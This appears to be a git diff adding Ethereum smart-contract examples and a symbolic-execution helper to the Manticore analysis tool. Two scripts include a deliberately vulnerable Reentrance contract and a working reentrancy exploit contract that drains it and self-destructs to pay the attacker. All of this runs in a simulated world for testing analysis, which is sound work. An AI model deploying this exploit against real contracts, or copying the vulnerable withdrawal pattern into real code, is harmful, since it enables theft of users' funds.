diff --git a/.travis.yml b/.travis.yml
index 4d15db0..48c4d3a 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -19,6 +19,5 @@ install:
 - travis_retry pip install -U pip
 - travis_retry pip uninstall -y Manticore || echo "Manticore not cached"  # uninstall any old, cached Manticore
 - travis_retry pip install --no-binary keystone-engine -e .[dev]  # ks can have pip install issues
-- scripts/travis_install_z3.sh
 script:
 - scripts/travis_test.sh
diff --git a/docs/api.rst b/docs/api.rst
index e121f13..c7ededc 100644
--- a/docs/api.rst
+++ b/docs/api.rst
@@ -14,7 +14,7 @@ Manticore
 ---------
 
 .. autoclass:: manticore.Manticore
-   :members: add_hook, hook, run, terminate, verbosity, locked_context
+   :members: add_hook, hook, run, terminate, verbosity, locked_context, linux, decree, evm
 
 State
 -----
diff --git a/examples/evm/coverage.py b/examples/evm/coverage.py
new file mode 100644
index 0000000..59b8cf1
--- /dev/null
+++ b/examples/evm/coverage.py
@@ -0,0 +1,38 @@
+from seth import *
+
+seth = ManticoreEVM()
+seth.verbosity(3)
+#And now make the contract account to analyze
+source_code = file('coverage.sol').read()
+
+user_account = seth.create_account(balance=1000)
+
+bytecode = seth.compile(source_code)
+#Initialize contract
+contract_account = seth.create_contract(owner=user_account, 
+                                          balance=0, 
+                                          init=bytecode)
+
+seth.transaction(  caller=user_account,
+                    address=contract_account,
+                    value=None,
+                    data=seth.SByte(164),
+                 )
+
+#Up to here we get only ~30% coverage. 
+#We need 2 transactions to fully explore the contract
+seth.transaction(  caller=user_account,
+                    address=contract_account,
+                    value=None,
+                    data=seth.SByte(164),
+                 )
+
+print "[+] There are %d reverted states now"% len(seth.final_state_ids)
+print "[+] There are %d alive states now"% len(seth.running_state_ids)
+for state_id in seth.running_state_ids:
+    seth.report(state_id)
+
+print "[+] Global coverage: %x"% contract_account
+print seth.coverage(contract_account)
+
+
diff --git a/examples/evm/coverage.sol b/examples/evm/coverage.sol
new file mode 100644
index 0000000..4c5235b
--- /dev/null
+++ b/examples/evm/coverage.sol
@@ -0,0 +1,120 @@
+/* There is two main functions `explore` and  `explore2`
+`explore` is the first level of exploration, you have to call it multiple times to explore the path
+`explore2` is a bit more complex, the owner has to call first the `enable_exploration` function
+*/
+pragma solidity ^0.4.15;
+
+contract Coverage{
+    address private owner;
+
+    // only used for more complex exploration
+    bool private exploration = false; 
+
+    mapping(address => uint) private balances;
+
+    event Give(address, address, uint);
+    event Take(address, address, uint);
+
+    modifier onlyowner {
+        require(msg.sender==owner);
+        _;
+    }
+
+    modifier onlyExplorationOn{
+        require(exploration);
+        _;
+    }
+
+    function Coverage()
+        public 
+    {
+        owner = msg.sender;
+    }
+    
+    function enable_exploration() 
+        public 
+        onlyowner
+    {
+        exploration = true;
+    }
+
+    function balanceOf(address user) 
+        returns (uint)
+    {
+        return balances[user];
+    }
+
+    function add(address user, uint val)
+        private
+    {
+        // comment the require to trigger overflow
+        require(balances[user] + val >= val);
+        balances[user] += val;
+    }
+
+    function remove(address user, uint val)
+        private
+    {
+        // comment the require to trigger underflow
+        require(balances[user] >= val);
+        balances[user] -= val;
+    }
+
+    // Entry point for simple exploration
+    // Anyone can give or take to anyone
+    // But if you cant take to someone poorer than you
+    function explore(uint value, address user, bool give)
+        public
+    {
+        // do not play if you are empty
+        if(balances[msg.sender] == 0){
+            balances[msg.sender] = 42;
+            return;
+        }
+        if(give){
+            remove(msg.sender, value);
+            add(user, value);
+            Give(msg.sender, user, value);
+        }
+        else{
+            if( balances[user] > balances[msg.sender]){
+                uint diff;
+                // only keep the minimum that can be taken
+                diff  = balances[user] - balances[msg.sender];
+                value = diff >value ? value : diff;
+                add(msg.sender, value);
+                remove(user, value);
+                Take(msg.sender, user, value);
+            }
+            else{
+                // If you try to take to someone poorer than you
+                // you will give it the value
+                remove(msg.sender, value);
+                add(user, value);
+                Give(msg.sender, user, value);
+            }
+        }
+    }
+
+    // Same as explore, but you can really take to anyone
+    function explore2(uint value, address user, bool give)
+        onlyExplorationOn
+        public
+    {
+        if(give){
+            remove(msg.sender, value);
+            add(user, value);
+            Give(msg.sender, user, value);
+        }
+        else{
+            uint diff;
+            // only keep the minimum that can be taken
+            diff  = balances[user] - balances[msg.sender];
+            value = diff >value ? value : diff;
+            add(msg.sender, value);
+            remove(user, value);
+            Take(msg.sender, user, value);
+        }
+    }
+}
+
diff --git a/examples/evm/integer_overflow.py b/examples/evm/integer_overflow.py
new file mode 100644
index 0000000..0a02bcf
--- /dev/null
+++ b/examples/evm/integer_overflow.py
@@ -0,0 +1,57 @@
+from seth import *
+
+seth = ManticoreEVM()
+
+#And now make the contract account to analyze
+source_code = '''
+pragma solidity ^0.4.15;
+
+contract Overflow {
+    event Log(string);
+    uint private sellerBalance=0;
+    
+    function add(uint value) returns (bool){
+        sellerBalance += value; // complicated math with possible overflow
+
+        // possible auditor assert
+        assert(sellerBalance >= value); 
+    } 
+}
+'''
+
+#Initialize user and contracts
+user_account = seth.create_account(balance=1000)
+bytecode = seth.compile(source_code)
+contract_account = seth.create_contract(owner=user_account, 
+                                          balance=0, 
+                                          init=bytecode)
+
+#First add wont owerflow uint256 representation
+symbolic_data = seth.make_function_call('add(uint256)', seth.SValue)
+seth.transaction(  caller=user_account,
+                    address=contract_account,
+                    value=0,
+                    data=symbolic_data,
+                 )
+
+#Potential overflow
+symbolic_data = seth.make_function_call('add(uint256)', seth.SValue)
+seth.transaction(  caller=user_account,
+                    address=contract_account,
+                    value=0,
+                    data=symbolic_data
+                 )
+
+
+print "[+] There are %d reverted states now"% len(seth.final_state_ids)
+for state_id in seth.final_state_ids:
+    seth.report(state_id)
+
+print "[+] There are %d alive states now"% len(seth.running_state_ids)
+for state_id in seth.running_state_ids:
+    seth.report(state_id)
+
+print "[+] Global coverage: %x"% contract_account
+print seth.coverage(contract_account)
+
+
diff --git a/examples/evm/minimal.py b/examples/evm/minimal.py
new file mode 100644
index 0000000..d02698f
--- /dev/null
+++ b/examples/evm/minimal.py
@@ -0,0 +1,55 @@
+from seth import ManticoreEVM
+################ Script #######################
+
+seth = ManticoreEVM()
+seth.verbosity(0)
+#And now make the contract account to analyze
+# cat  | solc --bin 
+source_code = '''
+pragma solidity ^0.4.13;
+contract NoDistpatcher {
+    event Log(string);
+    function() payable {
+        if (msg.data[0] == 'A') {
+            Log("Got an A");
+        }
+        else{
+            Log("Got something else");
+        }
+    } 
+}
+'''
+
+print "[+] Creating a user account"
+user_account = seth.create_account(balance=1000)
+
+
+print "[+] Creating a contract account"
+bytecode = seth.compile(source_code) 
+#Initialize contract
+# Note that the initialization argument would have been passed immediatelly 
+# after the init bytecode  init=bytecode+pack(parameter)
+contract_account = seth.create_contract(owner=user_account,
+                                        init=bytecode)
+
+   
+print "[+] Now the symbolic values"
+
+symbolic_data = seth.SByte(16) 
+symbolic_value = None 
+seth.transaction(caller=user_account,
+                address=contract_account,
+                data=symbolic_data,
+                value=symbolic_value )
+
+print "[+] There are %d reverted states now"% len(seth.final_state_ids)
+
+print "[+] There are %d alive states now"% len(seth.running_state_ids)
+for state_id in seth.running_state_ids:
+    seth.report(state_id)
+
+print "[+] Global coverage:"
+print seth.coverage(contract_account)
+
+
+
diff --git a/examples/evm/reentrancy_concrete.py b/examples/evm/reentrancy_concrete.py
new file mode 100644
index 0000000..98fbd66
--- /dev/null
+++ b/examples/evm/reentrancy_concrete.py
@@ -0,0 +1,182 @@
+from seth import ManticoreEVM
+################ Script #######################
+
+seth = ManticoreEVM()
+seth.verbosity(0)
+#The contract account to analyze
+contract_source_code = '''
+pragma solidity ^0.4.15;
+
+contract Reentrance {
+    mapping (address => uint) userBalance;
+   
+    function getBalance(address u) constant returns(uint){
+        return userBalance[u];
+    }
+
+    function addToBalance() payable{
+        userBalance[msg.sender] += msg.value;
+    }   
+
+    function withdrawBalance(){
+        // send userBalance[msg.sender] ethers to msg.sender
+        // if mgs.sender is a contract, it will call its fallback function
+        if( ! (msg.sender.call.value(userBalance[msg.sender])() ) ){
+           revert();
+        }
+        userBalance[msg.sender] = 0;
+    }   
+}
+//Function signatures: 
+//c0e317fb: addToBalance()
+//f8b2cb4f: getBalance(address)
+//5fd8c710: withdrawBalance()
+'''
+
+exploit_source_code = '''
+pragma solidity ^0.4.15;
+
+contract GenericReentranceExploit {
+    event Log(address);
+    int reentry_reps=10; 
+    address vulnerable_contract=0x4141414141414141;
+    address owner;
+    bytes reentry_attack_string;
+
+    function GenericReentranceExploit(address _vulnerable_contract){
+        vulnerable_contract = _vulnerable_contract;
+        owner = msg.sender;
+        Log(vulnerable_contract);
+    }
+
+    function set_vulnerable_contract(address _vulnerable_contract){
+        vulnerable_contract = _vulnerable_contract ;
+    }
+
+    function set_reentry_attack_string(bytes _reentry_attack_string){
+        reentry_attack_string = _reentry_attack_string;
+    }
+
+    function set_reentry_reps(int reps){
+        reentry_reps = reps;
+    }
+
+    function delegate(bytes data) payable{
+        // call addToBalance with msg.value ethers
+        vulnerable_contract.call.value(msg.value)(data);
+    }
+
+    function get_money(){
+        suicide(owner);
+    }
+
+    function () payable{
+        // reentry_reps is used to execute the attack a number of times
+        // otherwise there is a loop between withdrawBalance and the fallback function
+        if (reentry_reps > 0){
+            reentry_reps = reentry_reps - 1;
+            vulnerable_contract.call(reentry_attack_string);
+        }
+    }
+}
+//Function signatures: 
+//0ccfac9e: delegate(bytes)
+//b8029269: get_money()
+//9d15fd17: set_reentry_attack_string(bytes)
+//0d4b1aca: set_reentry_reps(int256)
+//beac44e7: set_vulnerable_contract(address)
+'''
+
+contract_bytecode = seth.compile(contract_source_code)
+exploit_bytecode = seth.compile(exploit_source_code)
+
+attacker_account = seth.create_account(balance=10)
+user_account = seth.create_account(balance=1000)
+contract_account = seth.create_contract(owner=user_account, 
+                                        init=contract_bytecode)
+
+'''
+c0e317fb addToBalance()
+f8b2cb4f getBalance(address)
+5fd8c710 withdrawBalance()'''
+''
+print "[+] Setup the exploit"
+
+exploit_account = seth.create_contract(owner=attacker_account, 
+                                       init=exploit_bytecode+seth.pack_msb(contract_account))
+
+print "\t Setting attack string"
+
+#'\x9d\x15\xfd\x17'+pack_msb(32)+pack_msb(4)+'\x5f\xd8\xc7\x10',
+seth.transaction(  caller=attacker_account,
+                        address=exploit_account,
+                        data=seth.make_function_call("set_reentry_attack_string(bytes)", seth.make_function_id('withdrawBalance()')),
+                        value=0)
+
+print "[+] Initial world state"
+print " attacker_account %x balance: %d"% (attacker_account, seth.world.storage[attacker_account]['balance'])
+print " exploit_account %x balance: %d"%  (exploit_account, seth.world.storage[exploit_account]['balance'])
+print " user_account %x balance: %d"%  (user_account, seth.world.storage[user_account]['balance'])
+print " contract_account %x balance: %d"%  (contract_account, seth.world.storage[contract_account]['balance'])
+
+
+#User deposits all in contract
+print "[+] user deposited some."
+#'\xc0\xe3\x17\xfb'
+seth.transaction(  caller=user_account,
+                    address=contract_account,
+                    data=seth.make_function_call('addToBalance()'),
+                    value=1000)
+
+print "[+] There are %d reverted states now"% len(seth.final_state_ids)
+print "[+] There are %d alive states now"% (len(seth.running_state_ids))
+
+print " attacker_account %x balance: %d"% (attacker_account, seth.world.storage[attacker_account]['balance'])
+print " exploit_account %x balance: %d"%  (exploit_account, seth.world.storage[exploit_account]['balance'])
+print " user_account %x balance: %d"%  (user_account, seth.world.storage[user_account]['balance'])
+print " contract_account %x balance: %d"%  (contract_account, seth.world.storage[contract_account]['balance'])
+
+
+print "[+] Let attacker deposit some small amount using exploit"
+#'\x0c\xcf\xac\x9e'+pack_msb(32)+pack_msb(4)+'\xc0\xe3\x17\xfb',
+seth.transaction(  caller=attacker_account,
+                    address=exploit_account,
+                    data=seth.make_function_call('delegate(bytes)', seth.make_function_id('addToBalance()')),
+                    value=5)
+
+print " attacker_account %x balance: %d"% (attacker_account, seth.world.storage[attacker_account]['balance'])
+print " exploit_account %x balance: %d"%  (exploit_account, seth.world.storage[exploit_account]['balance'])
+print " user_account %x balance: %d"%  (user_account, seth.world.storage[user_account]['balance'])
+print " contract_account %x balance: %d"%  (contract_account, seth.world.storage[contract_account]['balance'])
+
+print "[+] Let attacker extract all  using exploit" 
+#'\x0c\xcf\xac\x9e'+pack_msb(32)+pack_msb(4)+'\x5f\xd8\xc7\x10'
+seth.transaction(  caller=attacker_account,
+                    address=exploit_account,
+                    data=seth.make_function_call('delegate(bytes)', seth.make_function_id('withdrawBalance()')),
+                    value=0)
+
+print "[+] Let attacker destroy the exploit andprofit" 
+seth.transaction(  caller=attacker_account,
+                    address=exploit_account,
+                    data=seth.make_function_call('get_money()'),
+                    value=0)
+
+
+print " attacker_account %x balance: %d"% (attacker_account, seth.world.storage[attacker_account]['balance'])
+print " user_account %x balance: %d"%  (user_account, seth.world.storage[user_account]['balance'])
+print " contract_account %x balance: %d"%  (contract_account, seth.world.storage[contract_account]['balance'])
+
+print "[+] There are %d reverted states now"% len(seth.final_state_ids)
+for state_id in seth.final_state_ids:
+     seth.report(state_id)
+
+print "[+] There are %d alive states now"% (len(seth.running_state_ids))
+for state_id in seth.running_state_ids:
+    seth.report(state_id)
+
+print "[+] Global coverage:"
+print seth.coverage(contract_account)
+
+
+
diff --git a/examples/evm/reentrancy_symbolic.py b/examples/evm/reentrancy_symbolic.py
new file mode 100644
index 0000000..aff6920
--- /dev/null
+++ b/examples/evm/reentrancy_symbolic.py
@@ -0,0 +1,161 @@
+from seth import ManticoreEVM
+################ Script #######################
+
+seth = ManticoreEVM()
+seth.verbosity(0)
+#The contract account to analyze
+contract_source_code = '''
+pragma solidity ^0.4.15;
+
+contract Reentrance {
+    mapping (address => uint) userBalance;
+   
+    function getBalance(address u) constant returns(uint){
+        return userBalance[u];
+    }
+
+    function addToBalance() payable{
+        userBalance[msg.sender] += msg.value;
+    }   
+
+    function withdrawBalance(){
+        // send userBalance[msg.sender] ethers to msg.sender
+        // if mgs.sender is a contract, it will call its fallback function
+        if( ! (msg.sender.call.value(userBalance[msg.sender])() ) ){
+           revert();
+        }
+        userBalance[msg.sender] = 0;
+    }   
+}
+//Function signatures: 
+//c0e317fb: addToBalance()
+//f8b2cb4f: getBalance(address)
+//5fd8c710: withdrawBalance()
+'''
+
+exploit_source_code = '''
+pragma solidity ^0.4.15;
+
+contract GenericReentranceExploit {
+    event Log(string);
+    int reentry_reps=10; 
+    address vulnerable_contract=0x4141414141414141;
+    address owner;
+    bytes reentry_attack_string;
+
+    function GenericReentranceExploit(address _vulnerable_contract){
+        vulnerable_contract = _vulnerable_contract;
+        owner = msg.sender;
+    }
+
+    function set_vulnerable_contract(address _vulnerable_contract){
+        vulnerable_contract = _vulnerable_contract ;
+    }
+
+    function set_reentry_attack_string(bytes _reentry_attack_string){
+        reentry_attack_string = _reentry_attack_string;
+    }
+
+    function set_reentry_reps(int reps){
+        reentry_reps = reps;
+    }
+
+    function delegate(bytes data) payable{
+        // call addToBalance with msg.value ethers
+        vulnerable_contract.call.value(msg.value)(data);
+    }
+
+    function get_money(){
+        suicide(owner);
+    }
+
+    function () payable{
+        // reentry_reps is used to execute the attack a number of times
+        // otherwise there is a loop between withdrawBalance and the fallback function
+        Log("Exploit default function!");
+        if (reentry_reps > 0){
+            reentry_reps = reentry_reps - 1;
+            vulnerable_contract.call(reentry_attack_string);
+        }
+    }
+}
+//Function signatures: 
+//0ccfac9e: delegate(bytes)
+//b8029269: get_money()
+//9d15fd17: set_reentry_attack_string(bytes)
+//0d4b1aca: set_reentry_reps(int256)
+//beac44e7: set_vulnerable_contract(address)
+
+'''
+
+contract_bytecode = seth.compile(contract_source_code)
+exploit_bytecode = seth.compile(exploit_source_code)
+
+attacker_account = seth.create_account(balance=10)
+user_account = seth.create_account(balance=1000)
+
+
+contract_account = seth.create_contract(owner=user_account, 
+                                        init=contract_bytecode)
+
+exploit_account = seth.create_contract(owner=attacker_account, 
+                                       init=exploit_bytecode+seth.pack_msb(contract_account))
+
+print "[+] Initial world state"
+print "    attacker_account %x balance: %d"% (attacker_account, seth.world.storage[attacker_account]['balance'])
+print "    exploit_account %x balance: %d"%  (exploit_account, seth.world.storage[exploit_account]['balance'])
+print "    user_account %x balance: %d"%  (user_account, seth.world.storage[user_account]['balance'])
+print "    contract_account %x balance: %d"%  (contract_account, seth.world.storage[contract_account]['balance'])
+
+
+print "[+] Setup the exploit"
+print "    Setting attack string to 32 symbolic bytes"
+seth.transaction(  caller=attacker_account,
+                        address=exploit_account,
+                        data=seth.make_function_call("set_reentry_attack_string(bytes)", seth.SByte(32)),
+                        value=0)
+
+#User deposits all in contract
+print "[+] Make the victim user interact with the buggy contract"
+print "    We hope for some funds to be transfered."
+seth.transaction(  caller=user_account,
+                    address=contract_account,
+                    data=seth.SByte(64),
+                    value=1000)
+
+print "[+] Attacker tx1 via exploit contract"
+seth.transaction(  caller=attacker_account,
+                    address=exploit_account,
+                    data=seth.make_function_call('delegate(bytes)', seth.SByte(64)),
+                    value=10)
+
+print "[+] Attacker tx2 via exploit contract"
+seth.transaction(  caller=attacker_account,
+                    address=exploit_account,
+                    data=seth.make_function_call('delegate(bytes)', seth.SByte(64)),
+                    value=0)
+
+print "[+] Attacker tx3 via exploit contract"
+seth.transaction(  caller=attacker_account,
+                    address=exploit_account,
+                    data=seth.make_function_call('delegate(bytes)', seth.SByte(64)),
+                    value=0)
+
+print "[+] Let attacker destroy the exploit andprofit" 
+seth.transaction(  caller=attacker_account,
+                    address=exploit_account,
+                    data=seth.make_function_call('get_money()'),
+                    value=0)
+
+#Finish exploration Report on what we found.
+
+print "[+] There are %d reverted states now. (skiping)"% len(seth.final_state_ids)
+print "[+] There are %d alive states now"% (len(seth.running_state_ids))
+for state_id in seth.running_state_ids:
+    seth.report(state_id, ty='SELFDESTRUCT')
+
+print "[+] Global coverage: %x"% contract_account
+print seth.coverage(contract_account)
+
+
+
diff --git a/examples/evm/seth.py b/examples/evm/seth.py
new file mode 100644
index 0000000..f4b6b44
--- /dev/null
+++ b/examples/evm/seth.py
@@ -0,0 +1,445 @@
+from manticore import Manticore
+from manticore.core.smtlib import ConstraintSet, Operators, solver, issymbolic, Array, Expression, Constant
+from manticore.core.smtlib.visitors import arithmetic_simplifier
+from manticore.platforms import evm
+from manticore.platforms.evm import pack_msb
+from manticore.core.state import State
+import tempfile
+from subprocess import Popen, PIPE
+import sha3
+
+solc = "solc"
+
+def parse_bin(buf):
+    """
+    Parse the output of solc
+    Return a dict [name: bytecode]
+    """
+    ret = {}
+    i = 0
+    while i < len(buf):
+        # looks for bytecode
+        if buf[i].startswith('==='):
+            # parse the name of the contract
+            name = buf[i][buf[i].find(':')+1:buf[i].rfind(' =')]
+            # parse the bytecode
+            bytecode = buf[i+2]
+            if len(bytecode) > 4: #avoid empty bytecode
+                bytecode = bytecode.replace('\n', '') # remove '\n'                
+                bytecode = bytecode.decode('hex') # convert to hex
+                ret[name] = bytecode
+            i = i+3
+        else:
+            i = i+1
+    assert len(ret.values())==1
+    return ret.values()[0]
+
+def compile_code(source_code):
+    """
+    Compile a solidity source code
+    Return a list [(contract_name, bytecode)]
+    """
+    with tempfile.NamedTemporaryFile() as temp:
+        temp.write(source_code)
+        temp.flush()
+        p = Popen([solc, '--bin', temp.name], stdout=PIPE)
+        outp = p.stdout.readlines()
+        return parse_bin(outp)
+
+class ManticoreEVM(Manticore):
+    class SByte():
+        def __init__(self, size=1):
+            self.size=size
+        def __mul__(self, reps):
+            return Symbol(self.size*reps)
+    SCHAR = SByte(1)
+    SUINT = SByte(32)
+    SValue = None
+        
+
+    @staticmethod
+    def pack_msb(value):
+        return ''.join(ManticoreEVM.serialize_uint(value))
+
+    @staticmethod
+    def serialize(value):
+        if isinstance(value, str):
+            return ManticoreEVM.serialize_string(value)
+        if isinstance(value, list):
+            return ManticoreEVM.serialize_array(value)
+        if isinstance(value, (int, long)):
+            return ManticoreEVM.serialize_uint(value)
+        if isinstance(value, ManticoreEVM.SByte):
+            return ManticoreEVM.serialize_uint(value.size) + (None,)*value.size + (('\x00',)*(32-(value.size%32)))
+        if value is None:
+            return (None,)*32
+
+
+    @staticmethod
+    def serialize_uint(value, size=32):
+        '''takes an int and packs it into a 32 byte string, msb first''' 
+        assert size >=1
+        bytes = []
+        for position in range(size):
+            bytes.append( Operators.EXTRACT(value, position*8, 8) )
+        chars = map(Operators.CHR, bytes)
+        return tuple(reversed(chars))
+
+    @staticmethod
+    def serialize_string(value):
+        assert isinstance(value, str)
+        return ManticoreEVM.serialize_uint(len(value))+tuple(value + ('\x00'*(32-(len(value)%32))))
+
+    @staticmethod
+    def serialize_array(value):
+        assert isinstance(value, list)
+        serialized = [ManticoreEVM.serialize_uint(len(value))]
+        for item in value:
+            serialized.append(ManticoreEVM.serialize(item))    
+        return reduce(lambda x,y: x+y, serialized)
+
+    @staticmethod
+    def make_function_id( method_name):
+        s = sha3.keccak_256()
+        s.update(method_name)
+        return s.hexdigest()[:8].decode('hex')
+
+    @staticmethod
+    def make_function_call(method_name, *args):
+        function_id = ManticoreEVM.make_function_id(method_name)
+        def check_bitsize(value, size):
+            if isinstance(value, BitVec):
+                return value.size==size
+            return (value & ~((1<<size)-1)) == 0
+        assert len(function_id) == 4
+        result = [tuple(function_id)]
+        dynamic_args = []
+        dynamic_offset = 32*len(args)
+        for arg in args:
+            if isinstance(arg, (list, tuple, str, ManticoreEVM.SByte)):
+                result.append(ManticoreEVM.serialize(dynamic_offset))
+                serialized_arg = ManticoreEVM.serialize(arg)
+                dynamic_args.append(serialized_arg)
+                assert len(serialized_arg)%32 ==0
+                dynamic_offset += len(serialized_arg)
+            else:
+                result.append(ManticoreEVM.serialize(arg))
+
+        for arg in dynamic_args:
+            result.append(arg)
+        return reduce(lambda x,y: x+y, result)
+
+    @staticmethod
+    def compile(source_code):
+        return compile_code(source_code)
+
+    def __init__(self):
+
+        #Make the constraint store
+        constraints = ConstraintSet()
+        #make the ethereum world state
+        world = evm.EVMWorld(constraints)
+        initial_state = State(constraints, world)
+        super(ManticoreEVM, self).__init__(initial_state)
+
+
+        #The following should go to manticore.context so we can use multiprocessing
+        self.code = {}
+        self.context['seth'] = {}
+        self.context['seth']['_pending_transaction'] = None
+        self.context['seth']['_saved_states'] = []
+        self.context['seth']['_final_states'] = []
+
+
+
+        self._executor.subscribe('did_load_state', self.load_state_callback)
+        self._executor.subscribe('will_terminate_state', self.terminate_state_callback)
+        self._executor.subscribe('will_execute_instruction', self.will_execute_instruction_callback)
+        self._executor.subscribe('did_read_code', self.did_read_code)
+        self._executor.subscribe('symbolic_sha3', self.symbolic_sha3)
+        self._executor.subscribe('concrete_sha3', self.concrete_sha3)
+
+    @property
+    def world(self):
+        if self.initial_state is None:
+            return None
+        return self.initial_state.platform
+
+    @property
+    def running_state_ids(self):
+        with self.locked_context('seth') as context:
+            if self.initial_state is not None:
+                return context['_saved_states'] + [-1]
+            else:
+                return context['_saved_states']
+
+    @property
+    def final_state_ids(self):
+        with self.locked_context('seth') as context:
+            return context['_final_states']
+
+    def get_world(self, state_id):
+        if state_id == -1:
+            return self.initial_state.platform
+
+        state = self._executor._workspace.load_state(state_id, delete=False)
+        return state.platform
+
+    def create_contract(self, owner, balance=0, init=None, address=None):
+        ''' Only available when there is a single state of the world'''
+        with self.locked_context('seth') as context:
+            assert context['_pending_transaction'] is None
+        assert init is not None
+        address = self.world._new_address()
+        self.context['seth']['_pending_transaction'] = ('CREATE_CONTRACT', owner, address, balance, init)
+
+        self.run()
+
+        return address
+
+    def create_account(self, balance=0, address=None):
+        ''' Only available when there is a single state of the world'''
+        with self.locked_context('seth') as context:
+           assert context['_pending_transaction'] is None
+        return self.world.create_account( address, balance, code='', storage=None)
+
+    def transaction(self, caller, address, value, data):
+        if isinstance(data, self.SByte):
+            data = (None,)*data.size
+        with self.locked_context('seth') as context:
+            context['_pending_transaction'] = ('CALL', caller, address, value, data)
+        return self.run()
+
+    def run(self, **kwargs):
+        #Check if there is a pending transaction
+        with self.locked_context('seth') as context:
+            assert context['_pending_transaction'] is not None
+            #there is at least one states in seth saved states
+            assert context['_saved_states'] or self.initial_state
+
+            #there is no states added to the executor queue
+            assert len(self._executor.list()) == 0
+
+            for state_id in context['_saved_states']:
+                self._executor.put(state_id)
+    
+            context['_saved_states'] = []
+
+        #A callback will use _pending_transaction and 
+        #issue the transaction in each state
+        result = super(ManticoreEVM, self).run(**kwargs)
+
+        with self.locked_context('seth') as context:
+
+            if len(context['_saved_states'])==1:
+                self._initial_state = self._executor._workspace.load_state(context['_saved_states'][0], delete=True)
+                context['_saved_states'] = []
+
+            #clear pending transcations. We are done.
+            context['_pending_transaction'] = None
+        return result
+          
+    def save(self, state, final=False):
+        #save the state to secondary storage
+        state_id = self._executor._workspace.save_state(state)
+
+        with self.locked_context('seth') as context:
+            if final:
+                #Keep it on a private list
+                context['_final_states'].append(state_id)
+            else:
+                #Keep it on a private list
+                context['_saved_states'].append(state_id)
+        return state_id
+
+    #Callbacks
+    def terminate_state_callback(self, state, state_id, e):
+        ''' INTERNAL USE 
+            Every time a state finishes executing last transaction we save it in
+            our private list 
+        '''
+        state.context['last_exception'] = e
+        if e.message != 'REVERT':
+            # if not a revert we save the state for further transactioning
+            state.context['processed'] = False
+            if e.message == 'RETURN':
+                with self.locked_context('seth') as context:
+                    ty, caller, address, value, data = context['_pending_transaction']
+                    if ty == 'CREATE_CONTRACT':
+                        world = state.platform
+                        world.storage[address]['code'] = world.last_return
+            self.save(state)
+            e.testcase = False  #Do not generate a testcase file
+        else:
+            self.save(state, final=True)
+
+
+
+    #Callbacks
+    def load_state_callback(self, state, state_id):
+        ''' INTERNAL USE 
+            When a state was just loaded from stoage we do the pending transaction
+        '''
+
+        if state.context.get('processed', False):
+            return
+        world = state.platform
+        state.context['processed'] = True
+        with self.locked_context('seth') as context:
+            ty, caller, address, value, data = context['_pending_transaction']
+
+        #Replace any none by symbolic values
+        if value is None:
+            value = state.new_symbolic_value(256, label='value')
+        if isinstance (data, tuple):
+            if any( x is None for x in data):
+                symbolic_data = state.new_symbolic_buffer(label='data', nbytes=len(data))
+                for i in range(len(data)):
+                    if data[i] is not None:
+                        symbolic_data[i] = data[i]
+                data = symbolic_data
+        if ty == 'CALL':
+            world.transaction(address=address, caller=caller, data=data, value=value)
+        else:
+            assert ty == 'CREATE_CONTRACT'
+            world.create_contract(caller=caller, address=address, balance=value, init=data)
+
+    def will_execute_instruction_callback(self, state, instruction):
+        assert state.constraints == state.platform.constraints
+        assert state.platform.constraints == state.platform.current.constraints
+
+        with self.locked_context('coverage', set) as coverage:
+            coverage.add((state.platform.current.address, state.platform.current.pc))
+
+    def did_read_code(self, state, offset, size):
+        with self.locked_context('code_data', set) as code_data:
+            for i in range(offset, offset+size):
+                code_data.add((state.platform.current.address, i))
+
+
+    def report(self, state_id, ty=None):
+        if state_id == -1:
+            state = self.initial_state
+        else:
+            state = self._executor._workspace.load_state(state_id, delete=False)
+        e = state.context['last_exception']
+        world = state.platform
+        def compare_buffers(a, b):
+            if len(a) != len(b):
+                return False
+            cond = True
+            for i in range(len(a)):
+                cond = Operators.AND(a[i]==b[i], cond)
+                if cond is False:
+                    return False
+            return cond
+
+        if ty is not None:
+            if str(e) != ty:
+                return
+        print "="*20
+        print "REPORT:", e, "\n"
+
+        print "LOGS:"
+        for address, memlog, topics in state.platform.logs:
+            try:
+                res = memlog
+                if isinstance(memlog, Expression):
+                    res = state.solve_one(memlog)
+                    if isinstance(memlog, Array):
+                        state.constrain(compare_buffers(memlog, res))
+                    else:
+                        state.constrain(memlog== res)
+
+                res1 = address
+                if isinstance(address, Expression):
+                    res = state.solve_one(address)
+                    if isinstance(address, Array):
+                        state.constrain(compare_buffers(address, res))
+                    else:
+                        state.constrain(address == res)
+
+                print  "\t %s: %r %s" %( hex(res1), ''.join(map(chr,res)), topics)
+            except Exception,e:
+                print e
+                print  "\t", address,  repr(memlog), topics
+
+        #print state.constraints
+        print "INPUT SYMBOLS"
+        for expr in state.input_symbols:
+            res = state.solve_one(expr)
+            if isinstance(expr, Array):
+                state.constrain(compare_buffers(expr, res))
+            else:
+                state.constrain(expr== res)
+   
+            try:
+                print "\t %s: %s"%( expr.name, res.encode('hex'))
+            except:
+                print "\t", expr.name+':',  res
+
+        print "BALANCES"
+        for address, account in world.storage.items():
+            if isinstance(account['balance'], Constant):
+                account['balance'] = account['balance'].value
+
+            if issymbolic(account['balance']):
+                m, M = solver.minmax(world.constraints, arithmetic_simplifier(account['balance']))
+                if m == M:
+                    print "\t", hex(address), M
+                else:
+                    print "\t", hex(address), "range:[%x, %x]"%(m,M)                
+            else:
+                print "\t", hex(address), account['balance']
+            
+
+
+    def coverage(self, account_address):
+        #This will just pick one of the running states.
+        #This assumes the code and the accounts are the same in all versions of the world
+        world = self.get_world(self.running_state_ids[0])
+        seen = self.context['coverage'] #.union( self.context.get('code_data', set()))
+        runtime_bytecode = world.storage[account_address]['code']
+        class bcolors:
+            HEADER = '\033[95m'
+            OKBLUE = '\033[94m'
+            OKGREEN = '\033[92m'
+            WARNING = '\033[93m'
+            FAIL = '\033[91m'
+            ENDC = '\033[0m'
+            BOLD = '\033[1m'
+            UNDERLINE = '\033[4m'
+
+        output = ''
+        offset = 0
+        count = 0
+        total = 0
+        for i in evm.EVMDecoder.decode_all(runtime_bytecode) :
+            
+            if (account_address, offset) in seen:
+                output += bcolors.OKGREEN
+                output += "** 0x%04x %s\n"%(offset, i)
+                output += bcolors.ENDC
+                count += 1
+            else:
+                output += "   0x%04x %s\n"%(offset, i)
+            
+            total += 1
+            offset += i.size
+
+        output += "Total assembler lines: %d\n"% total
+        output += "Total assembler lines visited: %d\n"% count
+        output += "Coverage: %2.2f%%\n"%  (count*100.0/total)
+
+
+        return output
+
+
+    def symbolic_sha3(self, state, data, known_hashes):
